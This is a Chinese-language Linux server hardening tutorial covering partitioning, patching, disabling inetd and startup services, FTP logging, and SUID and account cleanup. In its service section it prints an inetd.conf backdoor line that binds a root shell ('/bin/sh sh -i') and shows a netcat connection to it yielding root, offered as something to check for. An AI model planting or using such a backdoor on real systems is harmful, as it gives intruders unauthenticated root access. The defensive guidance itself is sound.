歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
Linux教程網 >> Linux綜合 >> Linux資訊 >> 更多Linux >> linux安全攻略

linux安全攻略

日期:2017/2/27 14:28:14   编辑:更多Linux

呵呵,這篇文章的目的在於讓讀者對Linux的安全配置有個大概的了解,呵呵,因為我也看過一些關於這方面的文章,說的太空了,呵呵,其實我覺得linux機器要做一般的安全配置的話,分分鐘就搞定了,嘿嘿1,安裝安裝的時候,大家都輕車熟路了,呵呵,首先,隔離網絡進行系統安裝,當然選擇custom方式,安裝你需要的軟件包。硬盤分區:如果用root分區紀錄數據,如log文件和email,就可能因為拒絕服務產生大量日志或垃圾郵件。導致系統崩潰。所以建議為/var開辟單獨的分區,用來存放日志和郵件,以避免root分區被溢出啦,那就慘喽。最好為特殊的應用程序單獨開一個分區,特別是可以產生大量日志的程序,還有建議為/home單獨分一個區,這樣他們就不能填滿/分區了,以下是我硬盤上的分區情況:/ root/var log/hacking 嘻嘻,我的一些黑軟wap 不多說了/home當系統安裝完重新啟動後,最好打上相應系統的安全補丁,請大家養成良好的習慣,記住,你不是在自己家裡裝98,你裝的是一個linux服務器,呵呵。對於redhat系統而言可以在:http://www.redhat.com/corp/support/errata/找到補叮在redhat6.1以後的版本帶有一個工具up2date,它能夠測定哪些rpm包需要升級,然後自動從redhat的站點下載並完成安裝。2,關閉服務呵呵,有句話說的好,要想你的系統絕對安全,就是掐斷網線,呵呵,當然我們的機器要對外提供服務,那是不現實的,所以關閉不必要的服務是必要的,因為有些服務會為您的系統帶來麻煩。默認的linux就是一個強大的系統,運行了很多的服務。但,有許多服務是不需要的,很容易引起安全風險。第一個文件是/etc/inetd.conf,它制定了/usr/sbin/inetd將要監聽的服務,你可能只需要其中的兩個:telnet和FTP,其他的許多如popd,imapd和rsh都是有可能引發安全問題的。用下面的命令顯示沒有被注釋掉的服務:suneagle# grep -v "#" /etc/inetd.confftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -atelnet stream tcp nowait root /usr/sbin/tcpd in.telnetdhell stream tcp nowait root /usr/sbin/tcpd in.rshdlogin stream tcp nowait root /usr/sbin/tcpd in.rlogindtalk dgram udp wait nobody.tty /usr/sbin/tcpd in.talkdntalk dgram udp wait nobody.tty /usr/sbin/tcpd in.ntalkdop-3 stream tcp nowait root /usr/sbin/tcpd ipop3dimap stream tcp nowait root /usr/sbin/tcpd imapdfinger stream tcp nowait nobody /usr/sbin/tcpd in.fingerdlinuxconf stream tcp wait root /bin/linuxconf linuxconf --httpexec stream tcp nowait root /bin/sh sh -i哈哈,大家看最後一行,不就被綁了個rootshell麼?呵呵,有什麼後果?呵呵看看,在遠程的一台win2000機器上用如下命令:E:\cmd>nc 192.0.0.88 512ash# ididuid=0(root) gid=0(root) groups=0(root)ash#知道了吧?嘿嘿,大家注意哦*^_^*我有寫過一篇關於用這個文件綁後門的文章,呵呵,攻擊性很強,這個命令可以幫你查出有沒有後門,呵呵。下個要啟動的是.rc腳本,它們決定了init進程要啟動哪些服務。redhat系統下,這些腳本在/etc/rc.d/rc3.d(如果你的系統以x為默認啟動的話,就是/etc/rc.d/rc5.d)。要在啟動時禁止某個服務,只需要把大寫的S替換為小寫的s,同時,redhat也提供一個工具來幫助你關閉服務,輸入/usr/sbin/setup,然後選擇"system services",就可以定制系統啟動時跑哪些服務。另外一個選擇是chkconfig命令,很多linux版本的系統都自帶這個工具。腳本名字中的數字是啟動的順序,以大寫的K開頭的是殺死進程用的。以下是一些主要的服務:S05apmd 筆記本需要S10xntpd 網絡時間協議S11portmap 運行rpc服務必需S15sound 聲卡相關S15netfs nfs客戶端S20rstatd 避免運行r服務,遠程用戶可以從中獲取很多信息S20rusersdS20rwhodS20rwalldS20bootparamd 無盤工作站S25squid 代理服務S34yppasswdd NIS服務器,此服務漏洞很多S35ypserv NIS服務器,此服務漏洞很多S35dhcpd dhcp服務S40atd 和cron很相似的定時運行程序的服務S45pcmcia pcmcia卡,筆記本S50snmpd SNMP,遠程用戶能從中獲得許多系統信息S55named DNS服務S55routed RIP,沒有必要就別運行它S60lpd 打印服務S60mars-nwe Netware的文件和打印服務S60nfs NFS服務器,漏洞極多S72amd automount,mount遠程用的S75gated 另外一種路由服務,例如OSPFS80sendmail 郵件服務,如關閉,仍然可以發信,只是不能收信和作中繼S85httpd web服務器S87ypbind NIS客戶端S90xfs X font服務器S95innd News服務器Slinuxconf 這個都熟悉吧,呵呵,通過浏覽器遠程管理系統用的用這個命令察看在關閉啟動腳本之前有多少服務在運行:suneagle# ps -eafwc -l54我的系統有54種服務在運行呢,呵呵當你關閉一些服務以後,重新運行以上命令看看少了多少服務。運行的服務越少,系統自然越安全了,嘿嘿。用下面命令察看哪些服務在運行:suneagle# netstat -na --ipActive Internet connections (servers and established)Proto Recv-Q Send-Q Local Address Foreign Address Statetcp 0 136 192.0.0.88:23 192.0.0.5:1236 ESTABLISHEDtcp 0 0 192.0.0.88:23 192.0.0.8:1113 ESTABLISHEDtcp 0 0 192.0.0.88:139 192.0.0.8:1112 ESTABLISHEDtcp 0 0 192.0.0.88:1024 61.153.17.24:23 ESTABLISHEDtcp 0 0 192.0.0.88:23 192.0.0.8:1084 ESTABLISHEDtcp 0 0 0.0.0.0:139 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:80 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:25 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:515 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:512 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:98 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:79 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:143 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:110 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:513 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:514 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:23 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:21 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:113 0.0.0.0:* LISTENtcp 0 0 0.0.0.0:111 0.0.0.0:* LISTENudp 0 0 127.0.0.1:1024 0.0.0.0:*udp 0 0 192.0.0.88:138 0.0.0.0:*udp 0 0 192.0.0.88:137 0.0.0.0:*udp 0 0 0.0.0.0:138 0.0.0.0:*udp 0 0 0.0.0.0:137 0.0.0.0:*udp 0 0 0.0.0.0:518 0.0.0.0:*udp 0 0 0.0.0.0:517 0.0.0.0:*udp 0 0 0.0.0.0:111 0.0.0.0:*raw 0 0 0.0.0.0:1 0.0.0.0:* 7raw 0 0 0.0.0.0:6 0.0.0.0:* 7呵呵,我這個系統由於測試用,所以故意開了不少危險端口,呵呵,大家別學我哦,該關的就關啦,哈哈。3,日志紀錄和增強關閉一些不必要的服務以後,日志也是需要我們關心的一塊,配置好的unix系統日志非常強大,甚至可以做出陷阱,關於日志,我可以寫長篇大論,這裡就不很詳細講述日志的原理了,感興趣的朋友可以參考相關資料或閱讀我的另一篇文章《solaris系統日志原理》。好!所有的日志都在/var/log下(僅對linux系統而言),默認情況下linux的日志就很強大了,除了ftp。但我們可以通過修改/etc/ftpAccess或者/etc/inetd.conf,來保證每一個ftp連接日志都能夠紀錄下來。下面是一個修改inetd.conf的例子:ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -L -i -o-l 每一個ftp連接都寫到syslog-L 紀錄用戶的每一個命令-i 文件received,紀錄到xferlog-o 文件transmitted,記錄到xferlog賬號的安全問題刪除/etc/passwd&/etc/shadow中的一些系統賬號,如mail,news等等。盡量關閉匿名ftp服務,刪掉ftp用戶。/etc/ftpusers文件,包含了不能使用ftp的用戶列表,root應該在其中。修改/etc/securetty,去除終端ttyp0-ttyp9,使root只能從console或者使用ssh登陸。/etc/issue,不要讓次文件透露系統信息。同時要修改/etc/rc.d/rc/local。SUID程序是非常危險的,這些程序被普通用戶以euid=0(即root)的身份執行,只能有少量程序被設置為SUID。用一下命令列出系統的SUID二進制程序:suneagle# find / -perm -4000 -print用chmod -s去掉一些不需要程序的suid位。4,連接服務器作為系統管理員,需要經常對系統進行關系和上傳文件,這些通過通信過程必須要保證是安全的。我介紹兩個方法:ssh和tcp wrappers




Copyright © Linux教程網 All Rights Reserved